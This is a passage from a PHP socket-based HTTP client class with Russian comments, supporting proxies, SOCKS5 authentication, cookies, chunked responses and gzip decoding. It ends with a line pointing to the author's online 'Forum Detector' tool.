$this->success=1; } function set_autounzip($au=true) { $this->auto_unzip=$au ? true : false; return true; } function get_unzipped() { return $this->unzipped; } function get($service_uri='/',$params='',$cookie='',$ref='') { $this->sconnect(); $this->get_header($service_uri,'',$params,'GET',$cookie,$ref); $this->swrite(); $ret=$this->http11read(); $this->sclose(); return $ret; } function post($service_uri='/',$params='',$cookie='',$ref='') { $this->sconnect(); $this->get_header($service_uri,'',$params,'POST',$cookie,$ref); $this->swrite(); $ret=$this->http11read(); $this->sclose(); return $ret; } /*** Подключает сокет (через прокси или напрямую). ***/ function sconnect() { if($this->use_lowlevel_socks) { if($this->proxy) { if(!socket_connect($this->sock,$this->proxy,$this->pport)) return false; if($this->is_socks5) return $this->authorize(); } else { if(!socket_connect($this->sock,$this->s_addr,$this->s_port)) return false; } if(!socket_set_nonblock($this->sock)) return false; } else { if($this->proxy) { $this->sock=fsockopen("tcp://".$this->proxy,$this->pport,$errno,$errstr,30); $this->fsock_err=$errno.': '.$errstr; if(!$this->sock) return false; if($this->is_socks5) return $this->authorize(); } else { $this->sock=fsockopen("tcp://".$this->s_addr,$this->s_port,$errno,$errstr,30); $this->fsock_err=$errno.': '.$errstr; if(!$this->sock) return false; } } return true; } /*** Автоматически авторизует скрипт, если используются socks5. ***/ function authorize() { $h=pack("H*",'05020002'); $this->swrite($h); $result=bin2hex($this->sread(4)); if($result=='0502') { $len_login=chr(strlen($this->s_user)); $len_pass=chr(strlen($this->s_pass)); $h=pack("H*","01").$len_login.$this->s_user.$len_pass.$this->s_pass; $this->swrite($h); $result=bin2hex($this->sread(4)); if($result{3}!=0) return false; } else if($result!='0500') { return false; } $len_h=chr(strlen($this->s_addr)); $h=pack("H*","05010003").$len_h.$this->s_addr.pack("n",$this->s_port); $this->swrite($h); $result=bin2hex($this->sread(100)); if($result{3}==0) return true; } /*** Устанавливает прокси с ip $addr и портом $port и данными для авторизации. ***/ function set_proxy($addr,$port,$user='',$pass='') { $this->proxy=$addr; $this->pport=$port; $this->is_socks5=false; if(strlen($user)>0 || strlen($pass)>0) $this->proxy_add_str='Proxy-Authorization: Basic '.base64_encode($user.':'.$pass)."\r\n"; else $this->proxy_add_str=''; return true; } /*** Устанавливает socks5-сервер с ip $addr и портом $port и данными для авторизации. ***/ function set_socks5($addr,$port,$user='',$pass='') { $this->proxy=$addr; $this->pport=$port; $this->is_socks5=true; $this->s_user=$user; $this->s_pass=$pass; return true; } /*** Проверка успешности создания сокета и подключения к нему. ***/ function check_success() { return $this->success; } /*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/ function swrite($data='') { if(!$data) $data=$this->request; if($this->use_lowlevel_socks) { if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1) return false; return socket_write($this->sock,$data); } else { return fwrite($this->sock,$data); } } /*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/ function sread($bytes) { if($this->use_lowlevel_socks) { if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1) return false; return socket_read($this->sock,$bytes); } else { return fread($this->sock,$bytes); } } /*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/ function sreadfull($stepbytes=128) { $reading=''; while(($ret=$this->sread($stepbytes))!='') { $reading.=$ret; } $reading=$this->get_content_headers($reading); if($this->auto_unzip) { if(strpos($reading[0],'Content-Encoding: gzip')!==false) { $this->unzipped=true; $reading[1]=$this->gzBody($reading[1]); } else { $this->unzipped=false; } } return $reading; } /*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/ function set_connection($conn=0,$keepalive=300) { $this->connection=$conn==0 ? 0 : 1; $this->keepalive=$keepalive; return true; } function set_proto($proto='1.0') //set 1.0 or 1.1 { $this->proto= ($proto=='1.0' || $proto=='1.1') ? $proto : '1.0'; return true; } /*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/ function http11read($stepbytes=128) { $c=$this->sreadfull($stepbytes); if(strpos($c[0],'Transfer-Encoding: chunked')!==false) return array($c[0],$this->remove_lengths($c[1])); else return $c; } /*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/ /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/ function get_cookie($header,$ret=0) { preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs",$header,$cook); if(!isset($cook[1])) return $ret==0 ? '' : array(); $carr=array_unique($cook[1]); $cookies=implode('; ',$carr); return $ret==0 ? $cookies : $carr; } /*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/ function remove_lengths($res) { $len=1; $nlen=0; $curlen=0; $ret=''; $tmp=explode("\r\n",$res); foreach($tmp as $line) { if($len==1) { if($line=="\r\n") { $ret.=$line."\r\n"; continue; } $nlen=base_convert($line,16,10); if($nlen==0) continue; $len=0; $curlen=0; continue; } $curlen+=strlen($line."\r\n"); $ret.=$line."\r\n"; if($curlen>=$nlen) { $len=1; continue; } } return $ret; } /*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/ function get_content_headers($res) { $ret=explode("\r\n\r\n",$res,2); return $ret; } /*** Устанавливает виртуальный браузер. ***/ function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0') { $this->browser=$browser; return true; } /*** Формирует заголовки для записи в сокет. ***/ /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/ /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/ /*** $data - передаваемые скрипту данные (только для POST) ***/ /*** $method - GET/POST и т.д. ***/ /*** $cookie - cookies в виде строки ***/ /*** $ref - Referer ***/ /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/ /*** Возвращает запрос и устанавливает его как запрос по умолчанию. ***/ function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='') { if(!$page) $page=$this->addr; if($method=='GET' && strlen($data)>0) { $service_uri.='?'.$data; $data=''; } if($this->proxy && !$this->is_socks5) $request="$method http://{$this->s_addr}:{$this->s_port}$service_uri HTTP/{$this->proto}\r\n"; else $request="$method $service_uri HTTP/{$this->proto}\r\n"; $request.=$this->proxy_add_str; $request.="Host: $page\r\n"; if($this->browser) $request.="User-Agent: {$this->browser}\r\n"; if($ref) $request.="Referer: $ref\r\n"; if($method=='POST') { $request.="Content-Type: application/x-www-form-urlencoded\r\n"; $request.="Content-Length: ".strlen($data)."\r\n"; } if($this->connection==0) { $request.="Connection: close\r\n"; } else { $request.="Keep-alive: {$this->keepalive}\r\n"; $request.="Connection: keep-alive\r\n"; } if($addheaders) $request.=$addheaders; if($cookie) $request.="Cookie: $cookie\r\n"; $request.="\r\n"; $request.=$data; $this->request=$request; return $request; } /*** Закрывает соединение ***/ function sclose() { return $this->use_lowlevel_socks ? socket_close($this->sock) : fclose($this->sock); } /*** Возвращает последнюю ошибку работы с сокетами. ***/ function serr() { return $this->use_lowlevel_socks ? socket_last_error($this->sock) : $this->fsock_err; } function gzBody($gzData) { if(substr($gzData,0,3)=="\x1f\x8b\x08") { $i=10; $flg=ord(substr($gzData,3,1)); if($flg>0) { if($flg&4) { list($xlen)=unpack('v',substr($gzData,$i,2)); $i=$i+2+$xlen; } if($flg&8) $i=strpos($gzData,"\0",$i)+1; if($flg&16) $i=strpos($gzData,"\0",$i)+1; if($flg&2) $i=$i+2; } return gzinflate(substr($gzData,$i,-8)); } else return false; } } ?>
Рабочая версия скрипта на нашем сервере Forum Detector (Online)